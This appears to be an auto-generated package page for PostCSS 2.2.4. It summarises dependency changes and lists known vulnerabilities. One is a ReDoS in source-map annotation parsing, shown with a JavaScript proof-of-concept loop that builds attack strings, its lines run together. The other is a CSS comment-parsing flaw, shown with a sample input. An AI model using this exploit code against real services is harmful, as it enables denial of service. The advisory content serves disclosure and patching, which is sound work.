PostCSS version 2.2.4 is a minor update to the CSS post-processing framework, building upon the solid foundation of version 2.2.3. Both versions provide developers with a powerful tool for transforming CSS with JavaScript, boasting full source map support for easier debugging and maintenance in complex projects. Core dependencies like js-base64 and source-map remain consistent, ensuring stability and backwards compatibility for existing users.
The key differences lie within the development dependencies. Notably, rework was updated from version 1.0.0 to 1.0.1, gulp-util was updatd from 3.0.0 to 3.0.1 and perhaps more significantly, es6-transpiler moved from version ~0.7.14-2 to ~0.7.15. These updates likely include bug fixes, performance improvements, and potentially new features within those specific development tools. Developers leveraging these tools in their PostCSS workflow may find the upgrade beneficial.
PostCSS empowers developers to automate routine CSS tasks, add new features to CSS, and catch errors early. Its plugin-based architecture allows for immense flexibility, making it suitable for a wide range of projects, from simple websites to large-scale applications. The consistent core dependencies and minor updates to development dependencies in version 2.2.4 suggest a focus on stability and refining the developer experience. If you're already using PostCSS, upgrading to 2.2.4 is a low-risk way to potentially benefit from the improvements in the underlying development tools.
All the vulnerabilities related to the version 2.2.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.